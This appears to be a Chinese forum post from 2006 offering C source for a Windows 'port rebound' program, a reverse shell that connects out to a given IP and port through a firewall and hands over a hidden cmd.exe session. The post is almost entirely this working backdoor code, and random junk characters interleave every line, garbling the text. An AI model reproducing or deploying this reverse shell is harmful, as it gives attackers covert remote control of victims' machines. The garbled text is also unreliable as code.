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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :[&X*bw[  
?~{xL"  
/* ============================== hg~fFj3ST  
Rebound port in Windows NT Kna'5L5"  
By wind,2006/7 `xr%LsNn  
===============================*/ +1%6-g4 "  
#include 7$;$4.'  
#include G!IQ<FuY  
U8mu<)  
#pragma comment(lib,"wsock32.lib") pf_ /jR  
2 ^aTW`>L  
void OutputShell(); >seB["C  
SOCKET sClient; !ZZAI_N  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; SOL=3hfb^  
>vU Hf`4T  
void main(int argc,char **argv) bW]+Og  
{ +*q@=P,  
WSADATA stWsaData; /~[R u  
int nRet; >>r:L3<!  
SOCKADDR_IN stSaiClient,stSaiServer; *Y ZLQT  
P.:T zk6  
if(argc != 3) 6>I.*Qt \l  
{ :Mk}Suf&H  
printf("Useage:\n\rRebound DestIP DestPort\n"); [1U_c*;i  
return; DvCt^O*  
} /WfxI>v  
vo-{3]u#=  
WSAStartup(MAKEWORD(2,2),&stWsaData); ||=Duk  
5,Y2Lzr  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K;PpS*!  
M=A9a x  
stSaiClient.sin_family = AF_INET; %U 7B0-  
stSaiClient.sin_port = htons(0); hz%IxI9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ap~Iz  
xTMTkVa+B  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [)A#9L~s=  
{ fLAF/#\2  
printf("Bind Socket Failed!\n"); U:9vjY  
return; M\f0 =`g  
} ? h%+2  
=.a ]?&Yyh  
stSaiServer.sin_family = AF_INET; M6sDtL9l  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s|'L0` <B  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (/U1J  
@\?f77Of6  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3D0I5LF&  
{ z<>_*Lfj  
printf("Connect Error!"); ^@2Vh*k  
return; #Au&2_O  
} 6]S.1BP  
OutputShell(); "_j7kYAl  
} U^&Cvxc[[  
ay4xOwcR  
void OutputShell() k Dt)S$N4n  
{ * U4:K@y  
char szBuff[1024]; 4#q JX)/  
SECURITY_ATTRIBUTES stSecurityAttributes; beE%%C]X  
OSVERSIONINFO stOsversionInfo; E,@UM$alP  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; df& |Lc1J  
STARTUPINFO stStartupInfo; [B`P]}gL:  
char *szShell; ;G]'}$`/q  
PROCESS_INFORMATION stProcessInformation; :\_MA^<  
unsigned long lBytesRead; >U Lp!  
KT71%?P  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bobkT|s^s  
I:<R@V<~#  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); m=B0!Z1xx  
stSecurityAttributes.lpSecurityDescriptor = 0; !++62Lf  
stSecurityAttributes.bInheritHandle = TRUE; 8zWPb  
[Gy'0P(EQ  
V?BVk8D};  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Pltju4.:C  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K3DJ"NJ<Ji  
&NeY Kh?  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0pa^O$?p  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +=Wdn)T  
stStartupInfo.wShowWindow = SW_HIDE; ^ZUgDQduc  
stStartupInfo.hStdInput = hReadPipe; ~+yo;[1Yc  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wf%Ep#^6}  
A> A'dQ69  
GetVersionEx(&stOsversionInfo); 0\@|M@X=  
C/Bx_j((  
switch(stOsversionInfo.dwPlatformId) ? M_SNv  
{ Po. BcytM  
case 1: n9!3h?,g  
szShell = "command.com"; d/rz0L  
break; LW5ggU/  
default: $]JIA|  
szShell = "cmd.exe"; Eo&qc 17)`  
break; ,D,f9  
} y|{?>3  
\'Kj.EO{?$  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $#3<rcOq  
z|)1l`  
send(sClient,szMsg,77,0); [Od9,XBa  
while(1) .fY<"2g  
{ l>Ja[`X@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y4rJ-  
if(lBytesRead) Z3>3&|&  
{ _)2TLA n3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >Eg. c  
send(sClient,szBuff,lBytesRead,0); hp V /F  
} |o=ST  
else t`t:qko  
{ 5XO'OSdYq  
lBytesRead=recv(sClient,szBuff,1024,0); eAKQR  
if(lBytesRead<=0) break; !&p:=}s  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); U] -@yx  
} f ?zK "  
} ]Wt6V^M'@  
)wv[!cYyW  
return; T ) f_W  
}
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